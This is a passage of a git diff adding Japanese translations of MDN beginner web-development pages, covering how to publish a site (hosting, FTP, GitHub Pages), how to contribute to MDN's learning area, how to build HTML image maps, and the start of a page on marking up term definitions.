id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/ウェブサイトを公開する/index.html b/files/ja/learn/getting_started_with_the_web/ウェブサイトを公開する/index.html new file mode 100644 index 0000000000..df7bdd555e --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/ウェブサイトを公開する/index.html @@ -0,0 +1,133 @@ +--- +title: Web サイトの公開 +slug: Learn/Getting_started_with_the_web/ウェブサイトを公開する +tags: + - FTP + - GitHub + - Google App Engine + - Learn + - Web + - 'l10n:priority' + - publishing + - web server + - コードスクリプティング + - 初心者 + - 学習 +translation_of: Learn/Getting_started_with_the_web/Publishing_your_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>サイトのコードやファイルの準備ができたら、そのサイトをほかの人が見つけられるように、ファイルやコードをすべてオンラインに置く必要があります。この記事では、シンプルなサンプルコードを少しの手間でネット上に公開する方法を説明します。</p> +</div> + +<h2 id="What_are_the_options" name="What_are_the_options">どんな選択肢があるのか?</h2> + +<p>Web サイトを公開するというのは簡単に語れることではありません。なぜなら、 Web サイトの公開の仕方には、さまざまな方法があるからです。この記事での私たちの目標は、そのすべての方法を記述することではありません。むしろ、我々は初心者の視点から、大まかに 3 つの手法の長所と短所をお話しし、その次に、今のところはこれでうまくいくという方法で一通りやってみます。</p> + +<h3 id="Getting_hosting_and_a_domain_name" name="Getting_hosting_and_a_domain_name">ホストとドメイン名を手に入れる</h3> + +<p>もし、あなたが公開した Web サイトのすべてをコントロールしたいと思うなら、次の 2 つに関してお金を払う必要があるでしょう。</p> + +<ul> + <li>ホスト — つまり、ホスティング会社の <a href="https://developer.mozilla.org/ja/Learn/What_is_a_web_server"> Web サーバー</a>上のファイルを置く場所のこと。あなたが、 Web サイトをその場所に置けば、 Web サーバーが、ユーザーのリクエストに応えて、コンテンツを扱ってくれます。</li> + <li>ドメイン名 — ほかの人があなたの Web サイトを見つけるための、他と同じもののないアドレスのことです。たとえば、<code>http://www.mozilla.org</code> や <code>http://www.bbc.co.uk</code> などがそれにあたります。あなたは<strong>ドメインレジストラー </strong>(ドメイン名を扱う管理者) から、何年の間ドメイン名を借りることになります。</li> +</ul> + +<p>多くのプロの手による Web サイトはこんな風にして、公開されているわけです。</p> + +<p>加えて、あなたは、実際に Web サイトに関するファイルをサーバーに送るために、{{Glossary("FTP", "File Transfer Protocol (FTP)")}} プログラムが必要です (詳しくは、<a href="/ja/Learn/How_much_does_it_cost#Software">どれくらいお金がかかるか: ソフトウェア</a>のページにて)。FTP プログラムは、プログラムごとに様々ですが、一般的に Web サーバーのホスティング会社が提供する詳細情報 (例えば、ユーザーネーム、パスワード、ホスト名) を使用してログインする必要があります。ログインすると、FTP プログラムは、あなたの pc のローカルファイルと、サーバー上のファイルを二つのウィンドウで表示します。その画面において、あなたはファイルを送ったり戻したりできます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p> + +<h4 id="Tips_for_finding_hosting_and_domains" name="Tips_for_finding_hosting_and_domains">ホスティングとドメインを見つけるための TIPS(ヒント)</h4> + +<ul> + <li>MDN は特定の商用ホスティング会社やドメイン名レジストラを宣伝していません。ホスティング会社やレジストラを探すには、「 Web ホスティング」と「ドメイン名」で検索してください。すべてのレジストラは、希望するドメイン名が利用可能かどうかを確認できる機能を持っています</li> + <li>あなたの家やオフィスの {{Glossary("ISP", "インターネットサービスプロバイダー")}} では、小さな Web サイトのための限定的なホスティングを提供しているかもしれません。利用できる機能は限られていますが、最初の実験には最適かもしれません</li> + <li><a href="https://neocities.org/">Neocities</a>、Google Sites、<a href="https://www.blogger.com">Blogger</a>、<a href="https://wordpress.com/">WordPress</a> のような無料のサービスもあります。お金を払った分だけ得をすることもありますが、初期の実験にはこれらのリソースで十分な場合もあります</li> + <li>ホスティングやドメインを提供している会社も多いです</li> +</ul> + +<h3 id="Using_an_online_tool_like_GitHub_or_Google_App_Engine" name="Using_an_online_tool_like_GitHub_or_Google_App_Engine">GitHub や Google App Engine のようなオンラインツールを利用する</h3> + +<p>特定のツールを使って、あなたの Web サイトをオンラインに公開することもできます。</p> + +<ul> + <li><a href="https://github.com/">GitHub</a> は、「ソーシャルコーディング」サイトです。そこでは、あなたは<strong> Git バージョン管理システム</strong>の中のストレージで、コードリポジトリをアップロードできます。そうすることで、あなたはコードプロジェクトに協力することができて、このシステムは既定でオープンソースです。つまりは、世界のだれでも、あなたのコードを利用したり、そこから学んだり、改善したりすることができるのです。GitHub には <a href="https://pages.github.com/">GitHub Pages</a> と呼ばれる、とても便利な機能があります。それはあなたに Web 上に、 Web サイトのコードを公開するのを助けてくれます。</li> + <li><a href="https://cloud.google.com/appengine/" title="App Engine - Build Scalable Web & Mobile Backends in Any Language | Google Cloud Platform">Google App Engine</a> は、アプリケーションを Google のインフラ上で、ビルドや実行させることができる強力なプラットフォームです。マルチレイヤ― Web アプリケーションをゼロから作ったり、静的な Web サイトをホストしたり、いずれの場合でもそうです。<a href="/ja/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine"> Web サイトを Google App Engine でホストするには?</a> を見てみましょう。</li> +</ul> + +<p>これらのツールは、多くのホスティングと違って、利用するのは無料です。しかし、使える機能はやはり限られています。</p> + +<h3 id="Using_a_web-based_IDE_such_as_CodePen" name="Using_a_web-based_IDE_such_as_CodePen">CodePen のような、 Web ベースの IDE を用いる方法。</h3> + +<p>Web 開発環境を真似た Web アプリはたくさんあります。それらで HTML や CSS、JavaScript を入力し、それらのコードを Web ページとしてレンダリングした結果を表示できます — すべてが 1 つのブラウザータブの中で。一般的に言って、これらのツールはとても簡単で、とても勉強になり、コードの共有に向いていて(例えば、テクニックを共有したり、別のオフィスの同僚にデバッグの助けを求める)、(基本的な機能は) 無料です。</p> + +<p>生成したページを固有のアドレスでホストします。しかしながら、基本的な機能はかなり限られたものであり、そのアプリは大抵において、アセット (画像など) のためのホスティングスペースを提供していません。</p> + +<p>これらを試してみて、一番あなたに合ったものを見つけてみましょう。</p> + +<ul> + <li><a href="https://jsfiddle.net/">JSFiddle</a></li> + <li><a href="https://glitch.com/">Glitch</a></li> + <li><a href="http://jsbin.com/">JS Bin</a></li> + <li><a href="https://codepen.io/">CodePen</a></li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p> + +<h2 id="Publishing_via_GitHub" name="Publishing_via_GitHub">GitHub 経由での公開</h2> + +<p>では、GitHub Pages 経由でどれくらい簡単にサイトを公開できるかを実際にやってみましょう。</p> + +<ol> + <li>まず、 <a href="https://github.com/">GitHub にサインアップして</a>、あなたのメールアドレスを確認しましょう。</li> + <li>次に ファイルを入れるための<a href="https://github.com/new">リポジトリを作りましょう。</a></li> + <li>このページ上の、Repository name ボックスに username.github.io の形で、ユーザー名を入力しましょう。username のところに、あなたの名前が入ります。<br> + 例えば、私たちの友人である bob smith ならば、<br> + bobsmith.github.io と入力することになります。<br> + さらに、<span style="color: #000000; font-family: 'Arial'; font-size: 13px; font-style: normal; font-weight: 400; text-decoration: none;">{{原語併記("</span>README つきでこのリポジトリを初期化", "Initialize this repository with a README")}}をチェックして、<span style="color: #000000; font-family: 'Arial'; font-size: 13px; font-style: normal; font-weight: 400; text-decoration: none;">{{原語併記("</span>リポジトリの作成", "Create repository")}}をクリックします。<img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li> + <li>Web サイトのフォルダをリポジトリの中にドラッグアンドドロップしたら、Commit changes をクリックしましょう。<br> + + <div class="note"> + <p><strong>注</strong>: フォルダの中に <code>index.html</code> の名前のファイルがあるかを確認しましょう。</p> + </div> + </li> + <li> + <p>では、あなたの Web サイトをオンライン上で見るために、ブラウザーから username.github.io に移動しましょう。例えば、ユーザーネームが chrisdavidmills なら、<a href="http://chrisdavidmills.github.io/">chrisdavidmills.github.io</a> に移動しましょう。</p> + + <div class="note"> + <p><strong>注</strong>: あなたの Web サイトに行けるようになるには少し時間がかかるかもしれません。すぐに行ってもダメなようなら、少し待ってからもう一度試してみましょう。</p> + </div> + </li> +</ol> + +<p>もっと詳しく知りたい人は <a href="https://help.github.com/categories/github-pages-basics/">GitHub Pages Help</a> を見てください。</p> + +<h2 id="Further_reading" name="Further_reading">参考文献</h2> + +<ul> + <li><a href="/ja/Learn/What_is_a_web_server">Web サーバーとは何か</a></li> + <li><a href="/ja/Learn/Understanding_domain_names">ドメイン名を理解する</a></li> + <li><a href="/ja/Learn/How_much_does_it_cost">Web サイトで何かするのにいくらかかるか?</a></li> + <li><a href="https://www.codecademy.com/learn/deploy-a-website">Deploy a Website</a>: Codecademy の良いチュートリアルで、もう少し詳しく追加のテクニック含めて示しています。</li> + <li><a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or Free Static Website Hosting</a> Scott Murray による利用できるサービスについての使えるアイデアがあります。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/how_to_contribute/index.html b/files/ja/learn/how_to_contribute/index.html new file mode 100644 index 0000000000..bd269dd210 --- /dev/null +++ b/files/ja/learn/how_to_contribute/index.html @@ -0,0 +1,86 @@ +--- +title: MDN の学習エリアに貢献するには +slug: Learn/How_to_contribute +tags: + - Beginner + - Contribute + - Documentation + - Guide + - Learn + - MDN Meta + - 'l10n:priority' +translation_of: Learn/How_to_contribute +--- +<div>{{LearnSidebar}}</div> + +<p>あなたがこのページに初めて、あるいはたくさん検索した末に辿り着いたのなら、それはきっとあなたが MDN の学習エリアへの貢献に興味を持って下さったからでしょう。素晴らしいことです！</p> + +<p><span class="seoSummary">このページでは、 MDN の学習コンテンツの改良に協力し始めるのに必要となる全てが見つかるでしょう。できることはたくさんあって、それはあなたがどれくらい時間を使えるか、<a href="/ja/Learn/How_to_contribute#I'm_a_beginner">初心者</a>か<a href="/ja/Learn/How_to_contribute#I'm_a_web_developer">ウェブ開発者</a>か<a href="/ja/Learn/How_to_contribute#I'm_a_teacher">教師</a>かによって決まります。</span></p> + +<div class="note"> +<p><strong>メモ</strong>: 学習エリアの記事を書くためのガイドは、<a href="/ja/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">ウェブを学習する人に役立つ記事の書き方</a>にあります。</p> +</div> + +<h2 id="特定のタスクを探す">特定のタスクを探す</h2> + +<p><strong>学習エリアに貢献する共通の方法は、記事を読み、誤字を直し、改良を提案することです。<a href="https://github.com/mdn/learning-area/">GitHub repo</a>へのサンプル追加も、何が必要か聞きたいと思って連絡頂くのも歓迎です。</strong></p> + +<p>新しいことを学習するときに、貢献することは楽しめる良い方法です。道に迷った気になったり、質問があった場合は、<a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a> や <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a> いずれも英語ベース (詳しくはページ最下部を見てください)。<a href="/en-US/profiles/chrisdavidmills">Chris Mills</a> が Learning Area (学習エリア) のトピックドライバーです — 彼に直接 ping してもいいでしょう。</p> + +<p>下記の節では一般的なアイデアとして、やることの種類を挙げています。</p> + +<h2 id="初心者の方なら">初心者の方なら</h2> + +<p>すばらしい！初心者は学習エリアの中身にフィードバックを作るのに重要かつ貴重です。あなたにはこの記事のターゲット読者の一員で、われわれのチームの貴重なメンバーになりうるという独特の視点があります。実際に、記事を何かの学習に使ってつまったり、誤解を招く記事を見かけた場合、自分で修正するか、または我々が確実に修正できるように問題点を連絡することができます。</p> + +<p>次のように、貢献できるいくつかの方法があります:</p> + +<dl> + <dt><a href="/ja/docs/MDN/Contribute/Howto/Tag">記事にタグを追加する</a> (<em>5分</em>)</dt> + <dd>MDN のコンテンツをタグ付けするのは、 MDN に協力する最も簡単な方法です。タグによって状況にあわせた機能を提供できるようになるため、タグ付けはとても意味ある貢献です。タグ付けを始める前に、<a href="/ja/docs/MDN/Doc_status/Glossary#No_tags">用語集の記事</a>と<a href="/ja/docs/MDN/Doc_status/Learn#No_tags">学習記事</a>の一覧をご覧ください。</dd> + <dt><a href="/ja/docs/Glossary">用語集の記事を読んでレビューする</a> (<em>5分</em>)</dt> + <dd>コンテンツを初心者の目線で見てもらう必要があります。用語集の記事に分かりにくい箇所があれば改善が必要なため、気軽に変更してください。自分には必要なスキルが無いと感じたら、<a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">私たちのメーリングリスト</a>に連絡してください。</dd> + <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">用語集の記事を書く</a> (<em>20分</em>)</dt> + <dd>これは新しいことを学ぶ最良の方法です。理解したい概念を選び、それについて学んだら、用語集の記事を書きましょう。何かを他人に説明することは、頭の中で知識を「定着」させ、物事を自分自身で良く理解できるようになり、さらに他人のために役立ちます。みんなが得をします！</dd> + <dt><a href="/ja/Learn/Index">学習記事を読んでレビューする</a> (<em>2時間</em>)</dt> + <dd>これは用語集の記事のレビューとよく似ています（上記参照）。こういった記事は通常かなり長いため、より時間を要するだけです。</dd> +</dl> + +<h2 id="ウェブ開発者なら">ウェブ開発者なら</h2> + +<p>素敵です！あなたの技術スキルは、初心者向けの技術的に正確なコンテンツを提供するために、まさに我々が必要としているものです。ここは MDN の特定の箇所としてウェブの学習専用であり、説明はできるだけ簡潔であり、簡潔すぎて役立たないのは避けないといけません。過度に正確であることよりも、理解できることがもっと重要です。</p> + +<dl> + <dt><a href="/ja/docs/Glossary">用語集の記事を読んでレビューする</a> (<em>5分</em>)</dt> + <dd>ウェブ開発者であるあなたには、私たちのコンテンツが複雑になりすぎずに技術的に正確であるかを確認していただく必要があります。必要に応じて気軽に変更を加えてください。編集の前に内容を議論したい場合は、<a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">私たちのメーリングリスト</a>または <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a>でコンタクトしてください。</dd> + <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">用語集の記事を書く</a> (<em>20分</em>)</dt> + <dd>技術的な専門用語を明確にすることは、学習するのと、技術的に正確かつシンプルであるためのとても良い方法です。初心者からは感謝されるでしょう。注目すべき<a href="/ja/docs/Glossary#Contribute">未定義の用語</a>がたくさんあります。都合が良いものを選んでください。</dd> + <dt><a href="/ja/Learn/Index">学習記事を読んで</a><a href="/en-US/Learn/Index">レビューする</a> (<em>2時間</em>)</dt> + <dd>これは用語集の記事のレビュー（上記）と同じことです。この記事は少し長い時間がかかるだけです。</dd> + <dt><a href="/ja/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">新しい学習記事を書く</a> (<em>4時間以上</em>)</dt> + <dd>MDN には、ウェブ技術（<a href="/en-US/docs/Learn/CSS">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>など）についてのシンプルで直言的な記事が欠けています。また MDN にはレビューや作り直しをするべき古いコンテンツもあります。あなたのスキルの限界までふりしぼって、ウェブ技術が初心者でも使えるようにしてください。</dd> + <dt><a href="/ja/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">練習、コードサンプル、インタラクティブな学習ツールの作成</a> (<em>?時間</em>)</dt> + <dd>全ての学習記事は「アクティブラーニング」と呼ぶ記事を必要としています。その理由は人は自分で何かやってみるのが学ぶのに最良だからです。この素材は、ユーザーが記事に述べられる概念を適用・操作するのを助ける、練習やインタラクティブコンテンツです。アクティブラーニングのコンテンツを作るには多数の方法があり、 <a href="http://jsfiddle.net" rel="external">JSFiddle</a> や同等品でコードサンプルを作ることから、<a href="https://thimble.mozilla.org/" rel="external">Thimble</a> で完全にハック可能なインタラクティブコンテンツを作ることまであります。創造性を解き放って！</dd> +</dl> + +<h2 id="教師なら">教師なら</h2> + +<p>MDN は技術的な卓越性において長い歴史がありますが、新人に概念を教える最良の方法についての理解は十分ではありません。ここは教師・教育者であるあなたを必要とするところです。私たちの教材が読者にとって優れた、実践的な学びの道筋を提供できるよう手助けできます。</p> + +<dl> + <dt><a href="/ja/docs/Glossary">用語集の記事を読んでレビューする </a>(<em>15分</em>)</dt> + <dd>用語集の記事を確認して、必要に応じて気軽に変更を加えてください。編集の前に内容を議論したい場合は<a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">私たちのメーリングリスト</a>または <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a>でコンタクトしてください</dd> + <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">用語集の記事を書く</a> (<em>1時間</em>)</dt> + <dd>用語集にて、明確でシンプルな言葉の定義と、概念の基本的な説明は、初心者の要求を満たすのに重要です。教育者としての経験がすばらしい用語集の記事の作成に役立ちます。注目すべき<a href="/ja/docs/Glossary#Contribute">未定義の用語</a>がたくさんあります。都合が良いものを選んでください。</dd> + <dt><a href="/ja/docs/tag/needsSchema">記事のイラストや図を描く</a> (<em>1時間</em>)</dt> + <dd>ご存知のように、イラストはあらゆる学習コンテンツの中で有益な部分です。これは MDN でよく不足しているもので、あなたのスキルがそのエリアを違ったものにします。<a href="/en-US/docs/tag/needsSchema">図示コンテンツが不足している記事</a>を確認して、絵を作りたいものを選びます。</dd> + <dt><a href="/ja/Learn/Index">学習記事を読んでレビューする</a> (<em>2時間</em>)</dt> + <dd>これは用語集の記事（上記）のレビューと同じことです。この記事は少し長い時間がかかるだけです。</dd> + <dt><a href="/ja/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">新しい学習記事を書く</a> (<em>4時間</em>)</dt> + <dd>ウェブのエコシステムとその周りの機能的なトピックについてのシンプルで直言的な記事が必要です。学習記事では知るべきことを全て網羅するよりも、教育的である必要があるため、何をどのように網羅すべきかを知っているあなたの経験は良い資産になるでしょう。</dd> + <dt><a href="/ja/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">練習、クイズ、インタラクティブな学習ツールの作成</a> (<em>?時間</em>)</dt> + <dd>全ての学習記事は「アクティブラーニング」と呼ぶ記事を必要としています。その理由は人は自分で何かやってみるのが学ぶのに最良だからです。この素材は、ユーザーが記事に述べられる概念を適用・操作するのを助ける、練習やインタラクティブコンテンツです。アクティブラーニングのコンテンツを作るには多数の方法があり、クイズを作ることから、<a href="https://thimble.mozilla.org/" rel="external">Thimble</a> で完全にハック可能なインタラクティブコンテンツを作ることまであります。創造性を解き放って！</dd> + <dt></dt> + <dt><a href="/ja/docs/MDN/Contribute/Howto/Create_learning_pathways">学習の進路を作る</a> (<em>?時間</em>)</dt> + <dd>進歩的で理解できるチュートリアルを提供するため、コンテンツを学習進路に形付ける必要があります。既存のコンテンツを集めて、学習記事を作成するのに何がたりないか理解するのに良い方法です。</dd> +</dl> diff --git a/files/ja/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html b/files/ja/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html new file mode 100644 index 0000000000..b53798c7d6 --- /dev/null +++ b/files/ja/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html @@ -0,0 +1,126 @@ +--- +title: 画像にヒットマップを追加する +slug: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image +tags: + - Graphics + - Guide + - HTML + - Intermediate + - Navigation +translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image +--- +<div class="summary"> +<p>ここでは、イメージマップを設定する方法と、最初に検討すべきいくつかの欠点を説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Getting_started_with_the_web">基本的な HTML 文書の作成方法</a>と、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">アクセス可能な画像をウェブページに追加する方法</a>について、理解している必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>1つの画像の異なる領域を異なるページにリンクする方法を学びます。</td> + </tr> + </tbody> +</table> + +<div class="warning"> +<p>この記事では、クライアント側のイメージマップについてのみ説明します。 ユーザーにマウスが必要なサーバー側のイメージマップは使用しないでください。</p> +</div> + +<h2 id="Image_maps_and_their_drawbacks" name="Image_maps_and_their_drawbacks">イメージマップとその欠点</h2> + +<p>{{htmlelement('a')}} 内に画像をネストすると、画像全体が1つのウェブページにリンクします。 一方、イメージマップは、それぞれが異なるリソースにリンクするいくつかのアクティブな領域（「ホットスポット」と呼ばれます）を含みます。</p> + +<p>以前は、イメージマップは一般的なナビゲーションデバイスでしたが、そのパフォーマンスとアクセシビリティの影響を徹底的に検討することが重要です。</p> + +<p>いくつかの理由から<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">テキストリンク</a>（CSS でスタイル付けされたもの）がイメージマップよりも好ましい。 テキストリンクは軽量でメンテナンス可能で、多くの場合 SEO に優しく、アクセシビリティのニーズをサポートしています（スクリーンリーダー、テキストのみのブラウザ、翻訳サービスなど）。</p> + +<h2 id="How_to_insert_an_image_map_properly" name="How_to_insert_an_image_map_properly">イメージマップを正しく挿入する方法</h2> + +<h3 id="Step_1_The_image" name="Step_1_The_image">ステップ 1: 画像</h3> + +<p>どんな画像でも受け入れられるわけではありません。</p> + +<ul> + <li>画像は、人々が画像のリンクをたどったときに何が起こるかを明確にする必要があります。 <code>alt</code> テキストはもちろん必須ですが、多くの人々は決してそれを見ません。</li> + <li>画像には、ホットスポットの始まりと終わりを明示する必要があります。</li> + <li>ホットスポットは、どのビューポートサイズでも快適にタップするのに十分な大きさでなければなりません。 どれくらいの大きさか？ <a href="http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/">72 × 72 CSS ピクセルは良好な最小値</a>（英語）で、タッチターゲット間の間隔に余裕もあります。 <a href="http://www.goethe-verlag.com/book2/">50languages.com</a> の世界地図（執筆時点）は、問題を完全に示しています。 アルバニアやエストニアよりもロシアや北米をタップする方がはるかに簡単です。</li> +</ul> + +<p>{{htmlelement("img")}} 要素と {{htmlattrxref("alt",'img')}} テキストを使用して、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">常に同じ方法</a>で画像を挿入します。 画像がナビゲーションデバイスとしてのみ存在する場合、後で {{htmlelement('area')}} 要素に適切な {{htmlattrxref("alt",'area')}} テキストを指定すると <code>alt=""</code> と書くことができます。</p> + +<p>特殊な {{htmlattrxref("usemap","img")}} 属性が必要です。 イメージマップには、スペースを含まない一意の名前を考えてください。 次に、<code>usemap</code> 属性の値としてその名前（# が先行する）を割り当てます。</p> + +<pre class="brush: html"><img + src="image-map.png" + alt="" + usemap="#example-map-1" /></pre> + +<h3 id="Step_2_Activate_your_hotspots" name="Step_2_Activate_your_hotspots">ステップ 2: ホットスポットを有効にする</h3> + +<p>このステップでは、すべてのコードを {{htmlelement('map')}} 要素内に配置します。 <code><map></code> には、上の <code>usemap</code> 属性で使用したのと同じマップ名の {{htmlattrxref("name","map")}} 属性だけが必要です。</p> + +<pre class="brush: html"><map name="example-map-1"> + +</map></pre> + +<p><code><map></code> 要素の中に {{htmlelement('area')}} 要素が必要です。 <code><area></code> 要素はそれぞれが1つのホットスポットに対応します。 キーボードでのナビゲーションを直観的に保つには、<code><area></code> 要素のソースでの順序がホットスポットの視覚的順序に対応していることを確認してください。</p> + +<p><code><area></code> 要素は空要素ですが、次の4つの属性が必要です。</p> + +<dl> + <dt>{{htmlattrxref('shape','area')}}</dt> + <dt>{{htmlattrxref('coords','area')}}</dt> + <dd> + <p><code>shape</code> は、<code>circle</code>（円）、<code>rect</code>（四角形）、<code>poly</code>（ポリゴン）、<code>default</code>（デフォルト）の4つの値のいずれかをとります。 （<code>default</code> の <code><area></code> は画像全体から、あなたが定義した他のホットスポットを除いたものです。） 選択した <code>shape</code> によって、<code>coords</code> で指定する必要がある座標情報が決まります。</p> + + <ul> + <li>円の場合は、中心の x 座標と y 座標を指定し、その後に半径の長さを指定します。</li> + <li>四角形の場合は、左上角と右下角の x/y 座標を指定します。</li> + <li>ポリゴンの場合は、各角の x/y 座標を指定します（したがって、少なくとも6つの値）。</li> + </ul> + + <p>座標は CSS ピクセルで与えます。</p> + + <p>重なり合っている場合、ソースでの順序で選ばれます。</p> + </dd> + <dt>{{htmlattrxref('href','area')}}</dt> + <dd>リンク先のリソースの URL。 現在の領域をどこにもリンクさせたくない場合は、この属性を空白のままにしておくことができます（空白の円を描いている場合など）。</dd> + <dt>{{htmlattrxref('alt','area')}}</dt> + <dd> + <p>リンクがどこにあるのか、それが何をするのかを人に伝える必須の属性。 <code>alt</code> テキストは、画像が利用できない場合にのみ表示されます。 <a href="/ja/docs/Learn/Accessibility/HTML#Text_alternatives">アクセス可能なリンクテキストを書くためのガイドライン</a>を参照してください。</p> + + <p><code>href</code> 属性が空白で、画像全体に既に <code>alt</code> 属性がある場合、<code>alt=""</code> と書くことができます。</p> + </dd> +</dl> + +<pre class="brush: html"><map name="example-map-1"> + <area shape="circle" coords="200,250,25" + href="page-2.html" alt="circle example" /> + + + <area shape="rect" coords="10, 5, 20, 15" + href="page-3.html" alt="rectangle example" /> + +</map></pre> + +<h3 id="Step_3_Make_sure_it_works_for_everybody" name="Step_3_Make_sure_it_works_for_everybody">ステップ 3: 誰にとっても効果があることを確認する</h3> + +<p>多くのブラウザやデバイスでイメージマップを厳密にテストするまで、あなたは完了していません。 キーボードだけでリンクをたどってみてください。 画像をオフにしてみてください。</p> + +<p>イメージマップが約 240 px より広い場合は、ウェブサイトをレスポンシブにするためにさらに調整する必要があります。 座標が同じままでは、もはや画像と一致しないので、小さな画面の場合は画像のサイズを変更するだけでは不十分です。</p> + +<p>イメージマップを使用する必要がある場合は、Matt Stow の <a href="https://github.com/stowball/jQuery-rwdImageMaps">jQuery プラグイン</a>（英語）を調べることができます。 また、Dudley Storey は、<a href="http://thenewcode.com/696/Using-SVG-as-an-Alternative-To-Imagemaps">イメージマップエフェクトとして SVG を使用する方法</a>（英語）と、その後にビットマップ画像用に <a href="http://thenewcode.com/760/Create-A-Responsive-Imagemap-With-SVG">SVG とラスターを組み合わせる方法</a>（英語）を示しています。</p> + +<h2 id="Learn_more" name="Learn_more">より詳しく知る</h2> + +<ul> + <li>{{htmlelement("img")}}</li> + <li>{{htmlelement("map")}}</li> + <li>{{htmlelement("area")}}</li> + <li><a href="http://www.maschek.hu/imagemap/imgmap">オンラインイメージマップエディター</a>（英語）</li> + <li><a href="http://blog.goolara.com/2014/06/05/image-maps-revisited/">Advice on handling email clients</a>（リンク切れ）</li> +</ul> diff --git a/files/ja/learn/html/howto/define_terms_with_html/index.html b/files/ja/learn/html/howto/define_terms_with_html/index.html new file mode 100644 index 0000000000..4c2f87f8a2 --- /dev/null +++ b/files/ja/learn/html/howto/define_terms_with_html/index.html @@ -0,0 +1,151 @@ +--- +title: HTML で用語を定義する +slug: Learn/HTML/Howto/Define_terms_with_HTML +tags: + - Beginner + - Guide + - HTML + - Learn +translation_of: Learn/HTML/Howto/Define_terms_with_HTML +--- +<div class="summary"> +<p>HTML は、インラインであろうと構造化された用語集であろうと、記述の意味を伝達するいくつかの方法を提供します。 この記事では、キーワードを定義する際に適切にマークアップする方法について説明します。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Getting_started_with_the_web">基本的な HTML 文書の作成方法</a>に精通している必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>新しいキーワードを導入する方法と説明リストを作成する方法を学びます。</td> + </tr> + </tbody> +</table> + +<p>用語の意味が必要なときは、おそらくまっすぐに辞書や用語集に行くでしょう。 辞書や用語集は、キーワードを1つ以上の説明と正式に関連付けます。 この場合は次のようになります。</p> + +<blockquote> +<dl> + <dt>Blue (<em>Adjective</em>)</dt> + <dd>Of a color like the sky in a sunny day.<br> + <em><q>The clear blue sky</q></em></dd> + <dd>Of a subtle sadness, melancholy.<br> + <em><q>I'm 